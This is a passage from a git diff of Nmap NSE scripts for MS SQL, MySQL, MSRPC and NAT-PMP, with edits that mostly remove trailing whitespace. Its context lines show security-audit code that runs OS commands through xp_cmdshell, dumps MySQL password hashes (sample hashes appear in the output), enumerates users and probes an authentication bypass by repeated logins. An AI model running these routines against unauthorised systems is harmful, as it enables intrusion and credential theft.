instance.instanceName ) if instance.version then local versionOutput = create_version_output_table( instance.version ) @@ -190,10 +190,10 @@ end --- Processes a single instance, attempting to determine its version, etc. local function process_instance( instance ) - + local foundVersion = false local ssnetlibVersion - + -- If possible and allowed (see 'mssql.scanned-ports-only' argument), we'll -- connect to the instance to get an accurate version number if ( instance:HasNetworkProtocols() ) then @@ -206,7 +206,7 @@ local function process_instance( instance ) stdnse.print_debug( 1, "%s: Could not retrieve SSNetLib version for %s.", SCRIPT_NAME, instance:GetName() ) end end - + -- If we didn't get a version from SSNetLib, give the user some detail as to why if ( not foundVersion ) then if ( not instance:HasNetworkProtocols() ) then @@ -218,7 +218,7 @@ local function process_instance( instance ) stdnse.print_debug( 1, "%s: Version info could not be retrieved for %s.", SCRIPT_NAME, instance:GetName() ) end end - + -- Give some version info back to Nmap if ( instance.port and instance.version ) then instance.version:PopulateNmapPortVersion( instance.port ) @@ -230,7 +230,7 @@ end action = function( host ) local scriptOutput = {} - + local status, instanceList = mssql.Helper.GetTargetInstances( host ) -- if no instances were targeted, then display info on all if ( not status ) then @@ -239,8 +239,8 @@ action = function( host ) end instanceList = mssql.Helper.GetDiscoveredInstances( host ) end - - + + if ( not instanceList ) then return stdnse.format_output( false, instanceList or "" ) else @@ -258,7 +258,7 @@ action = function( host ) end end end - + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/ms-sql-query.nse b/scripts/ms-sql-query.nse index 91106e0d9..b0f259a2d 100644 --- a/scripts/ms-sql-query.nse +++ b/scripts/ms-sql-query.nse @@ -40,13 +40,13 @@ be disabled using the mssql.scanned-ports-only script argument. -- @args mssql.database Database to connect to (default: tempdb) -- -- @output --- | ms-sql-query: +-- | ms-sql-query: -- | [192.168.100.25\MSSQLSERVER] -- | Query: SELECT @@version version -- | version -- | ======= --- | Microsoft SQL Server 2005 - 9.00.3068.00 (Intel X86) --- | Feb 26 2008 18:15:01 +-- | Microsoft SQL Server 2005 - 9.00.3068.00 (Intel X86) +-- | Feb 26 2008 18:15:01 -- | Copyright (c) 1988-2005 Microsoft Corporation -- |_ Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2) -- @@ -65,9 +65,9 @@ dependencies = {"ms-sql-brute", "ms-sql-empty-password"} hostrule = mssql.Helper.GetHostrule_Standard() portrule = mssql.Helper.GetPortrule_Standard() ---- +--- local function process_instance( instance ) - local status, result + local status, result -- the tempdb should be a safe guess, anyway the library is set up -- to continue even if the DB is not accessible to the user -- TODO: consider renaming this arg to ms-sql-query.database @@ -76,7 +76,7 @@ local function process_instance( instance ) local helper = mssql.Helper:new() status, result = helper:ConnectEx( instance ) - + if status then status, result = helper:LoginEx( instance, database ) if ( not(status) ) then result = "ERROR: " .. result end @@ -85,9 +85,9 @@ local function process_instance( instance ) status, result = helper:Query( query ) if ( not(status) ) then result = "ERROR: " .. result end end - + helper:Disconnect() - + if status then result = mssql.Util.FormatOutputTable( result, true ) result["name"] = string.format( "Query: %s", query ) @@ -95,7 +95,7 @@ local function process_instance( instance ) local instanceOutput = {} instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) table.insert( instanceOutput, result ) - + return instanceOutput end @@ -103,7 +103,7 @@ end action = function( host, port ) local scriptOutput = {} local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - + if ( not status ) then return stdnse.format_output( false, instanceList ) else @@ -117,6 +117,6 @@ action = function( host, port ) table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-query.query='' to change query.)") end end - + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/ms-sql-tables.nse b/scripts/ms-sql-tables.nse index 72f7e91f1..7e667820b 100644 --- a/scripts/ms-sql-tables.nse +++ b/scripts/ms-sql-tables.nse @@ -47,7 +47,7 @@ be disabled using the mssql.scanned-ports-only script argument. -- nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=sa -- -- @args ms-sql-tables.maxdb Limits the amount of databases that are --- processed and returned (default 5). If set to zero or less +-- processed and returned (default 5). If set to zero or less -- all databases are processed. -- -- @args ms-sql-tables.maxtables Limits the amount of tables returned @@ -57,7 +57,7 @@ be disabled using the mssql.scanned-ports-only script argument. -- the keywords -- -- @output --- | ms-sql-tables: +-- | ms-sql-tables: -- | [192.168.100.25\MSSQLSERVER] -- | webshop -- | table column type length @@ -83,14 +83,14 @@ be disabled using the mssql.scanned-ports-only script argument. -- |_ users fullname varchar 100 -- Created 01/17/2010 - v0.1 - created by Patrik Karlsson --- Revised 04/02/2010 - v0.2 +-- Revised 04/02/2010 - v0.2 -- - Added support for filters -- - Changed output formatting of restrictions -- - Added parameter information in output if parameters are using their -- defaults. -- Revised 02/01/2011 - v0.3 (Chris Woodbury) -- - Added ability to run against all instances on a host; --- - Added compatibility with changes in mssql.lua +-- - Added compatibility with changes in mssql.lua author = "Patrik Karlsson" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -105,7 +105,7 @@ portrule = mssql.Helper.GetPortrule_Standard() local function process_instance( instance ) local status, result, dbs, tables - + local output = {} local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" } local db_query @@ -117,7 +117,7 @@ local function process_instance( instance ) local TABLE_COUNT = stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) and tonumber( stdnse.get_script_args( {'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) or 2 local keywords_filter = "" - + if ( DB_COUNT <= 0 ) then db_limit = "" else @@ -128,26 +128,26 @@ local function process_instance( instance ) else tbl_limit = string.format( "TOP %d", TABLE_COUNT ) end - + -- Build the keyword filter if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then - local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) + local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) local tmp_tbl = {} - + if( type(keywords) == 'string' ) then keywords = { keywords } end - + for _, v in ipairs(keywords) do table.insert(tmp_tbl, ("'%s'"):format(v)) end - - keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format( - stdnse.strjoin(",", tmp_tbl), - stdnse.strjoin(",", tmp_tbl) + + keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format( + stdnse.strjoin(",", tmp_tbl), + stdnse.strjoin(",", tmp_tbl) ) end - + db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, stdnse.strjoin(",", exclude_dbs)) @@ -162,24 +162,24 @@ local function process_instance( instance ) table.insert(output, "ERROR: " .. result) break end - + if ( status ) then status = helper:Login( username, password, nil, instance.host.ip ) end - + if ( status ) then status, dbs = helper:Query( db_query ) end - + if ( status ) then -- all done? if ( #done_dbs == #dbs.rows ) then break end - + for k, v in pairs(dbs.rows) do if ( not( stdnse.contains( done_dbs, v[1] ) ) ) then - local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length + local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st WHERE so.id = sc.id AND sc.xtype=st.xtype AND so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]] @@ -194,7 +194,7 @@ local function process_instance( instance ) table.insert(item, "Filter returned no matches") end item.name = v[1] - + table.insert(output, item) table.insert(done_dbs, v[1]) end @@ -202,11 +202,11 @@ local function process_instance( instance ) end end helper:Disconnect() - end - + end + local pos = 1 local restrict_tbl = {} - + if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then local tmp = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) if ( type(tmp) == 'table' ) then @@ -217,7 +217,7 @@ local function process_instance( instance ) else table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)") end - + if ( DB_COUNT > 0 ) then local tmp = ("Output restricted to %d databases"):format(DB_COUNT) if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then @@ -226,7 +226,7 @@ local function process_instance( instance ) table.insert(restrict_tbl, 1, tmp) pos = pos + 1 end - + if ( TABLE_COUNT > 0 ) then local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT) if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then @@ -235,19 +235,19 @@ local function process_instance( instance ) table.insert(restrict_tbl, 1, tmp) pos = pos + 1 end - + if ( 1 < pos and type( output ) == "table" and #output > 0) then restrict_tbl.name = "Restrictions" table.insert(output, "") table.insert(output, restrict_tbl) end end - - + + local instanceOutput = {} instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) table.insert( instanceOutput, output ) - + return instanceOutput end @@ -256,7 +256,7 @@ end action = function( host, port ) local scriptOutput = {} local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - + if ( not status ) then return stdnse.format_output( false, instanceList ) else @@ -267,6 +267,6 @@ action = function( host, port ) end end end - + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/ms-sql-xp-cmdshell.nse b/scripts/ms-sql-xp-cmdshell.nse index bc338475e..370ff8300 100644 --- a/scripts/ms-sql-xp-cmdshell.nse +++ b/scripts/ms-sql-xp-cmdshell.nse @@ -47,31 +47,31 @@ be disabled using the mssql.scanned-ports-only script argument. -- @args ms-sql-xp-cmdshell.cmd The OS command to run (default: ipconfig /all). -- -- @output --- | ms-sql-xp-cmdshell: +-- | ms-sql-xp-cmdshell: -- | [192.168.56.3\MSSQLSERVER] -- | Command: ipconfig /all -- | output -- | ====== --- | +-- | -- | Windows IP Configuration --- | +-- | -- | Host Name . . . . . . . . . . . . : EDUSRV011 -- | Primary Dns Suffix . . . . . . . : cqure.net -- | Node Type . . . . . . . . . . . . : Unknown -- | IP Routing Enabled. . . . . . . . : No -- | WINS Proxy Enabled. . . . . . . . : No -- | DNS Suffix Search List. . . . . . : cqure.net --- | +-- | -- | Ethernet adapter Local Area Connection 3: --- | --- | Connection-specific DNS Suffix . : +-- | +-- | Connection-specific DNS Suffix . : -- | Description . . . . . . . . . . . : AMD PCNET Family PCI Ethernet Adapter #2 -- | Physical Address. . . . . . . . . : 08-00-DE-AD-C0-DE -- | DHCP Enabled. . . . . . . . . . . : Yes -- | Autoconfiguration Enabled . . . . : Yes -- | IP Address. . . . . . . . . . . . : 192.168.56.3 -- | Subnet Mask . . . . . . . . . . . : 255.255.255.0 --- | Default Gateway . . . . . . . . . : +-- | Default Gateway . . . . . . . . . : -- | DHCP Server . . . . . . . . . . . : 192.168.56.2 -- | Lease Obtained. . . . . . . . . . : den 21 mars 2010 00:12:10 -- | Lease Expires . . . . . . . . . . : den 21 mars 2010 01:12:10 @@ -112,16 +112,16 @@ local function process_instance( instance ) output = "ERROR: " .. result break end - + if ( status ) then status = helper:Login( username, password, nil, instance.host.ip ) end - + if ( status ) then status, result = helper:Query( query ) end helper:Disconnect() - + if ( status ) then output = mssql.Util.FormatOutputTable( result, true ) output[ "name" ] = string.format( "Command: %s", cmd ) @@ -131,13 +131,13 @@ local function process_instance( instance ) output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online." end end - end + end end - + local instanceOutput = {} instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) table.insert( instanceOutput, output ) - + return instanceOutput end @@ -146,7 +146,7 @@ end action = function( host, port ) local scriptOutput = {} local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - + if ( not status ) then return stdnse.format_output( false, instanceList ) else @@ -156,11 +156,11 @@ action = function( host, port ) table.insert( scriptOutput, instanceOutput ) end end - + if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='' to change command.)") end end - + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/msrpc-enum.nse b/scripts/msrpc-enum.nse index 64a38ec54..7c5da09d8 100644 --- a/scripts/msrpc-enum.nse +++ b/scripts/msrpc-enum.nse @@ -5,7 +5,7 @@ local stdnse = require "stdnse" local table = require "table" description = [[ -Queries an MSRPC endpoint mapper for a list of mapped +Queries an MSRPC endpoint mapper for a list of mapped services and displays the gathered information. As it is using smb library, you can specify optional @@ -89,13 +89,13 @@ action = function(host,port) msrpc.stop_smb(smbstate) stdnse.print_debug("SMB: " .. bind_result) return false, bind_result - end + end local results = {} status, epresult = msrpc.epmapper_lookup(smbstate,nil) -- get the initial handle - if not status then + if not status then stdnse.print_debug("SMB: " .. epresult) return false, epresult - + end local handle = epresult.new_handle epresult.new_handle = nil @@ -103,7 +103,7 @@ action = function(host,port) while not (epresult == nil) do status, epresult = msrpc.epmapper_lookup(smbstate,handle) -- get next result until there are no more - if not status then + if not status then break end epresult.new_handle = nil diff --git a/scripts/mtrace.nse b/scripts/mtrace.nse index cba4b1d11..8da8dc181 100644 --- a/scripts/mtrace.nse +++ b/scripts/mtrace.nse @@ -41,7 +41,7 @@ This is similar to the mtrace utility provided in Cisco IOS. -- --@output -- Pre-scan script results: --- | mtrace: +-- | mtrace: -- | Group 0.0.0.0 from 172.16.45.4 to 172.16.0.1 -- | Source: 172.16.45.4 -- | In address: 172.16.34.3 @@ -69,17 +69,17 @@ categories = {"discovery", "safe", "broadcast"} -- From: https://tools.ietf.org/id/draft-ietf-idmr-traceroute-ipm-07.txt PROTO = { - [0x01] = "DVMRP", - [0x02] = "MOSPF", - [0x03] = "PIM", - [0x04] = "CBT", - [0x05] = "PIM / Special table", - [0x06] = "PIM / Static", - [0x07] = "DVMRP / Static", - [0x08] = "PIM / MBGP", + [0x01] = "DVMRP", + [0x02] = "MOSPF", + [0x03] = "PIM", + [0x04] = "CBT", + [0x05] = "PIM / Special table", + [0x06] = "PIM / Static", + [0x07] = "DVMRP / Static", + [0x08] = "PIM / MBGP", [0x09] = "CBT / Special table", - [0x10] = "CBT / Static", - [0x11] = "PIM / state created by Assert processing", + [0x10] = "CBT / Static", + [0x11] = "PIM / state created by Assert processing", } FWD_CODE = { @@ -123,7 +123,7 @@ local traceRaw = function(fromip, toip, group, receiver) local data = data .. bin.pack(">C", 0x20) -- Hops: 32 local data = data .. bin.pack(">S", 0x0000) -- Checksum: To be set later local data = data .. bin.pack(">I", ipOps.todword(group)) -- Multicast group - local data = data .. bin.pack(">I", ipOps.todword(fromip)) -- Source + local data = data .. bin.pack(">I", ipOps.todword(fromip)) -- Source local data = data .. bin.pack(">I", ipOps.todword(toip)) -- Destination local data = data .. bin.pack(">I", ipOps.todword(receiver)) -- Receiver local data = data .. bin.pack(">C", 0x40) -- TTL @@ -180,7 +180,7 @@ local traceParse = function(data) -- Hops index, response.hops = bin.unpack(">C", data, 2) - -- Checksum + -- Checksum index, response.checksum = bin.unpack(">S", data, index) -- Group @@ -284,7 +284,7 @@ local traceListener = function(interface, timeout, responses) -- Check that IGMP Type == 0x1e (Traceroute Response) if trace_raw:byte(1) == 0x1e then response = traceParse(trace_raw) - if response then + if response then response.srcip = p.ip_src table.insert(responses, response) end @@ -335,9 +335,9 @@ action = function() end -- Get network interface to use - local interface = nmap.get_interface() + local interface = nmap.get_interface() if interface then - interface = nmap.get_interface_info(interface) + interface = nmap.get_interface_info(interface) else interface = getInterface(firsthop) end @@ -362,7 +362,7 @@ action = function() local condvar = nmap.condvar(responses) condvar("wait") if #responses > 0 then - local outresp + local outresp local output, outblock = {} table.insert(output, ("Group %s from %s to %s"):format(group, fromip, toip)) for _, response in pairs(responses) do diff --git a/scripts/mysql-audit.nse b/scripts/mysql-audit.nse index 6e0155af1..0dc12eac0 100644 --- a/scripts/mysql-audit.nse +++ b/scripts/mysql-audit.nse @@ -24,7 +24,7 @@ audits by creating appropriate audit files). -- @output -- PORT STATE SERVICE -- 3306/tcp open mysql --- | mysql-audit: +-- | mysql-audit: -- | CIS MySQL Benchmarks v1.0.2 -- | 3.1: Skip symbolic links => PASS -- | 3.2: Logs not on system partition => PASS @@ -79,7 +79,7 @@ audits by creating appropriate audit files). -- | 6.8: Skip networking => FAIL -- | 6.9: Safe user create => FAIL -- | 6.10: Skip symbolic links => FAIL --- | +-- | -- |_ The audit was performed using the db-account: root -- Version 0.1 @@ -105,8 +105,8 @@ local function loadAuditRulebase( filename ) if ( not(file) ) then return false, ("ERROR: Failed to load rulebase:\n%s"):format(err) end - - + + file() TEMPLATE_NAME = env.TEMPLATE_NAME ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS @@ -136,7 +136,7 @@ action = function( host, port ) local response status, response = mysql.receiveGreeting( socket ) if ( not(status) ) then return response end - + status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) if ( not(status) ) then return "ERROR: Failed to authenticate" end @@ -145,7 +145,7 @@ action = function( host, port ) for _, test in ipairs(tests) do local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql local rowstab = {} - + for _, query in ipairs(queries) do local row status, row = mysql.sqlQuery( socket, query ) @@ -155,13 +155,13 @@ action = function( host, port ) table.insert(rowstab, row) end end - + if ( #rowstab > 0 ) then local result_part = {} local res = test.check(rowstab) local status, data = res.status, res.result status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL") - + table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) ) if ( data ) then table.insert(result_part, { data } ) diff --git a/scripts/mysql-databases.nse b/scripts/mysql-databases.nse index 0b5fdd258..ad58f21e3 100644 --- a/scripts/mysql-databases.nse +++ b/scripts/mysql-databases.nse @@ -19,7 +19,7 @@ Attempts to list all databases on a MySQL server. -- -- @output -- 3306/tcp open mysql --- | mysql-databases: +-- | mysql-databases: -- | information_schema -- | mysql -- | horde @@ -59,7 +59,7 @@ action = function( host, port ) elseif nmap.registry.mysqlusers then -- do we have root credentials? if nmap.registry.mysqlusers['root'] then - users['root'] = nmap.registry.mysqlusers['root'] + users['root'] = nmap.registry.mysqlusers['root'] else -- we didn't have root, so let's make sure we loop over them all users = nmap.registry.mysqlusers @@ -87,12 +87,12 @@ action = function( host, port ) -- if we got here as root, we've got them all -- if we're here as someone else, we cant be sure - if username == 'root' then + if username == 'root' then break end end end socket:close() end - return stdnse.format_output(true, result) + return stdnse.format_output(true, result) end diff --git a/scripts/mysql-dump-hashes.nse b/scripts/mysql-dump-hashes.nse index 25b8b3148..30c0e901d 100644 --- a/scripts/mysql-dump-hashes.nse +++ b/scripts/mysql-dump-hashes.nse @@ -19,7 +19,7 @@ scripts. -- @output -- PORT STATE SERVICE -- 3306/tcp open mysql --- | mysql-dump-hashes: +-- | mysql-dump-hashes: -- | root:*9B500343BC52E2911172EB52AE5CF4847604C6E5 -- | debian-sys-maint:*92357EE43977D9228AC9C0D60BB4B4479BD7A337 -- |_ toor:*14E65567ABDB5135D0CFD9A70B3032C179A49EE7 @@ -66,7 +66,7 @@ local function mysqlLogin(socket, username, password) end return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) end - + action = function(host, port) local creds = getCredentials() @@ -81,7 +81,7 @@ action = function(host, port) if ( not(socket:connect(host, port)) ) then return fail("Failed to connect to server") end - + local status, response = mysqlLogin(socket, username, password) if ( status ) then local query = "SELECT DISTINCT CONCAT(user, ':', password) FROM mysql.user WHERE password <> ''" @@ -95,7 +95,7 @@ action = function(host, port) socket:close() end end - + if ( result ) then return stdnse.format_output(true, result) end diff --git a/scripts/mysql-empty-password.nse b/scripts/mysql-empty-password.nse index 6d1fac103..39aa037dc 100644 --- a/scripts/mysql-empty-password.nse +++ b/scripts/mysql-empty-password.nse @@ -13,7 +13,7 @@ Checks for MySQL servers with an empty password for root or --- -- @output -- 3306/tcp open mysql --- | mysql-empty-password: +-- | mysql-empty-password: -- | anonymous account has empty password -- |_ root account has empty password @@ -37,19 +37,19 @@ action = function( host, port ) -- set a reasonable timeout value socket:set_timeout(5000) - + for _, v in ipairs( users ) do local status, response = socket:connect(host, port) if( not(status) ) then return " \n ERROR: Failed to connect to mysql server" end - + status, response = mysql.receiveGreeting( socket ) if ( not(status) ) then stdnse.print_debug(3, SCRIPT_NAME) socket:close() return response end - - status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, v, nil, response.salt ) + + status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, v, nil, response.salt ) if response.errorcode == 0 then table.insert(result, string.format("%s account has empty password", ( v=="" and "anonymous" or v ) ) ) if nmap.registry.mysqlusers == nil then @@ -59,7 +59,7 @@ action = function( host, port ) end socket:close() end - - return stdnse.format_output(true, result) + + return stdnse.format_output(true, result) end diff --git a/scripts/mysql-enum.nse b/scripts/mysql-enum.nse index 054d0ef86..2ac72692d 100644 --- a/scripts/mysql-enum.nse +++ b/scripts/mysql-enum.nse @@ -15,7 +15,7 @@ discovered and published by Kingcope (http://seclists.org/fulldisclosure/2012/Dec/9). Server version 5.x are succeptible to an user enumeration -attack due to different messages during login when using +attack due to different messages during login when using old authentication mechanism from versions 4.x and earlier. ]] @@ -78,15 +78,15 @@ Driver = { return false,brute.Error:new(response) end stdnse.print_debug( "Trying %s ...", pass) - local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method + local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method local err status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth status, response = self.socket:receive_bytes(0) if not status then return false,brute.Error:new( "Incorrect username" ) - end + end if string.find(response,"Access denied for user") == nil then - -- found it + -- found it return true, brute.Account:new( pass, nil, creds.State.VALID) else return false,brute.Error:new( "Incorrect username" ) diff --git a/scripts/mysql-query.nse b/scripts/mysql-query.nse index c03254a8c..81dab601b 100644 --- a/scripts/mysql-query.nse +++ b/scripts/mysql-query.nse @@ -14,13 +14,13 @@ Runs a query against a MySQL database and returns the results as a table. -- @output -- PORT STATE SERVICE -- 3306/tcp open mysql --- | mysql-query: +-- | mysql-query: -- | host user -- | 127.0.0.1 root -- | localhost debian-sys-maint -- | localhost root -- | ubu1110 root --- | +-- | -- | Query: SELECT host, user FROM mysql.user -- |_ User: root -- @@ -70,20 +70,20 @@ local function mysqlLogin(socket, username, password) end return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) end - + action = function(host, port) if ( not(arg_query) ) then stdnse.print_debug(2, "No query was given, aborting ...") return end - + local creds = getCredentials() if ( not(creds) ) then stdnse.print_debug(2, "No credentials were supplied, aborting ...") return end - + if ( arg_noheaders == '1' or arg_noheaders == 'true' ) then arg_noheaders = true else @@ -97,7 +97,7 @@ action = function(host, port) local socket = nmap.new_socket() if ( not(socket:connect(host, port)) ) then return fail("Failed to connect to server") - end + end local status, response = mysqlLogin(socket, username, password) if ( status ) then local status, rs = mysql.sqlQuery( socket, arg_query ) diff --git a/scripts/mysql-users.nse b/scripts/mysql-users.nse index 7f9e9e296..28e6e678b 100644 --- a/scripts/mysql-users.nse +++ b/scripts/mysql-users.nse @@ -19,7 +19,7 @@ Attempts to list all users on a MySQL server. -- -- @output -- 3306/tcp open mysql --- | mysql-users: +-- | mysql-users: -- | test -- | root -- | test2 @@ -51,10 +51,10 @@ action = function( host, port ) local users = {} local nmap_args = nmap.registry.args local status, rows - + -- set a reasonable timeout value socket:set_timeout(5000) - + -- first, let's see if the script has any credentials as arguments? if nmap_args.mysqluser then users[nmap_args.mysqluser] = nmap_args.mysqlpass or "" @@ -62,7 +62,7 @@ action = function( host, port ) elseif nmap.registry.mysqlusers then -- do we have root credentials? if nmap.registry.mysqlusers['root'] then - users['root'] = nmap.registry.mysqlusers['root'] + users['root'] = nmap.registry.mysqlusers['root'] else -- we didn't have root, so let's make sure we loop over them all users = nmap.registry.mysqlusers @@ -72,17 +72,17 @@ action = function( host, port ) stdnse.print_debug("No credentials supplied, aborting ...") return end - + -- -- Iterates over credentials, breaks once it successfully recieves results -- for username, password in pairs(users) do - + try( socket:connect(host, port) ) - + response = try( mysql.receiveGreeting( socket ) ) status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) - + if status and response.errorcode == 0 then status, rows = mysql.sqlQuery( socket, "SELECT DISTINCT user FROM mysql.user" ) if status then @@ -92,6 +92,6 @@ action = function( host, port ) socket:close() end - return stdnse.format_output(true, result) + return stdnse.format_output(true, result) end diff --git a/scripts/mysql-variables.nse b/scripts/mysql-variables.nse index ee063421a..185dccd1a 100644 --- a/scripts/mysql-variables.nse +++ b/scripts/mysql-variables.nse @@ -20,7 +20,7 @@ Attempts to show all variables on a MySQL server. -- -- @output -- 3306/tcp open mysql --- | mysql-variables: +-- | mysql-variables: -- | auto_increment_increment: 1 -- | auto_increment_offset: 1 -- | automatic_sp_privileges: ON @@ -60,10 +60,10 @@ action = function( host, port ) local users = {} local nmap_args = nmap.registry.args local status, rows - + -- set a reasonable timeout value socket:set_timeout(5000) - + -- first, let's see if the script has any credentials as arguments? if nmap_args.mysqluser then users[nmap_args.mysqluser] = nmap_args.mysqlpass or "" @@ -71,7 +71,7 @@ action = function( host, port ) elseif nmap.registry.mysqlusers then -- do we have root credentials? if nmap.registry.mysqlusers['root'] then - users['root'] = nmap.registry.mysqlusers['root'] + users['root'] = nmap.registry.mysqlusers['root'] else -- we didn't have root, so let's make sure we loop over them all users = nmap.registry.mysqlusers @@ -81,17 +81,17 @@ action = function( host, port ) stdnse.print_debug("No credentials supplied, aborting ...") return end - + -- -- Iterates over credentials, breaks once it successfully recieves results -- for username, password in pairs(users) do - + try( socket:connect(host, port) ) - + response = try( mysql.receiveGreeting( socket ) ) - status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) - + status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) + if status and response.errorcode == 0 then local status, rs = mysql.sqlQuery( socket, "show variables" ) if status then @@ -100,10 +100,10 @@ action = function( host, port ) end end end - + socket:close() end - - return stdnse.format_output(true, result) + + return stdnse.format_output(true, result) end diff --git a/scripts/mysql-vuln-cve2012-2122.nse b/scripts/mysql-vuln-cve2012-2122.nse index d39a87d1f..833a3dc05 100644 --- a/scripts/mysql-vuln-cve2012-2122.nse +++ b/scripts/mysql-vuln-cve2012-2122.nse @@ -37,7 +37,7 @@ Interesting post about this vuln: -- | mysql-vuln-cve2012-2122: -- | VULNERABLE: -- | Authentication bypass in MySQL servers. --- | State: VULNERABLE +-- | State: VULNERABLE -- | IDs: CVE:CVE-2012-2122 -- | Description: -- | When a user connects to MariaDB/MySQL, a token (SHA @@ -102,7 +102,7 @@ hitting this bug is about 1/256. Which means, if one knows a user name to connect (and "root" almost always exists), she can connect using *any* password by repeating connection attempts. ~300 attempts takes only a fraction of second, so -basically account password protection is as good as nonexistent. +basically account password protection is as good as nonexistent. ]], references = { 'http://seclists.org/oss-sec/2012/q2/493', @@ -133,7 +133,7 @@ basically account password protection is as good as nonexistent. stdnse.print_debug(1, "%s: Connection attempt #%d", SCRIPT_NAME, i) try( socket:connect(host, port) ) response = try( mysql.receiveGreeting(socket) ) - status, response = mysql.loginRequest(socket, {authversion = "post41", charset = response.charset}, mysql_user, mysql_pwd, response.salt) + status, response = mysql.loginRequest(socket, {authversion = "post41", charset = response.charset}, mysql_user, mysql_pwd, response.salt) if status and response.errorcode == 0 then vuln.extra_info = string.format("Server granted access at iteration #%d\n", iterations) vuln.state = vulns.STATE.EXPLOIT @@ -149,6 +149,6 @@ basically account password protection is as good as nonexistent. end socket:close() end - + return vuln_report:make_output(vuln) end diff --git a/scripts/nat-pmp-info.nse b/scripts/nat-pmp-info.nse index e464d115b..693d0dda6 100644 --- a/scripts/nat-pmp-info.nse +++ b/scripts/nat-pmp-info.nse @@ -4,7 +4,7 @@ local shortport = require "shortport" local stdnse = require "stdnse" description = [[ -Get's the routers WAN IP using the NAT Port Mapping Protocol (NAT-PMP). +Get's the routers WAN IP using the NAT Port Mapping Protocol (NAT-PMP). The NAT-PMP protocol is supported by a broad range of routers including: - Apple AirPort Express - Apple AirPort Extreme @@ -27,12 +27,12 @@ portrule = shortport.port_or_service(5351, "nat-pmp", {"udp"} ) action = function(host, port) local helper = natpmp.Helper:new(host, port) local status, response = helper:getWANIP() - + if ( status ) then nmap.set_port_state(host, port, "open") port.version.name = "nat-pmp" nmap.set_port_version(host, port) - + return stdnse.format_output(true, ("WAN IP: %s"):format(response.ip)) end end diff --git a/scripts/nat-pmp-mapport.nse b/scripts/nat-pmp-mapport.nse index 69c941a54..664986eef 100644 --- a/scripts/nat-pmp-mapport.nse +++ b/scripts/nat-pmp-mapport.nse @@ -20,19 +20,19 @@ o unmapall - unmaps all previously mapped ports for the requesting IP -- @output -- PORT STATE SERVICE -- 5351/udp open nat-pmp --- | nat-pmp-mapport: +-- | nat-pmp-mapport: -- |_ Successfully mapped tcp 1.2.3.4:8080 -> 192.168.0.100:80 -- -- @args nat-pmp-mapport.op operation, can be either map, unmap or unmap all -- o map allows you to map an external port to an internal port of the calling IP -- o unmap removes the external port mapping for the specified ports and protocol --- o unmapall removes all mappings for the specified protocol and calling IP +-- o unmapall removes all mappings for the specified protocol and calling IP -- -- @args nat-pmp-mapport.pubport the external port to map on the router. The -- specified port is treated as the requested port. If the port is available -- it will be allocated to the caller, otherwise the router will simply -- choose another port, create the mapping and return the resulting port. --- +-- -- @args nat-pmp-mapport.privport the internal port of the calling IP to map requests -- to. This port will recieve all requests coming in to the external port on the -- router. @@ -60,12 +60,12 @@ local function fail(str) return "\n ERROR: " .. str end action = function(host, port) local op = arg_op:lower() - + if ( "map" 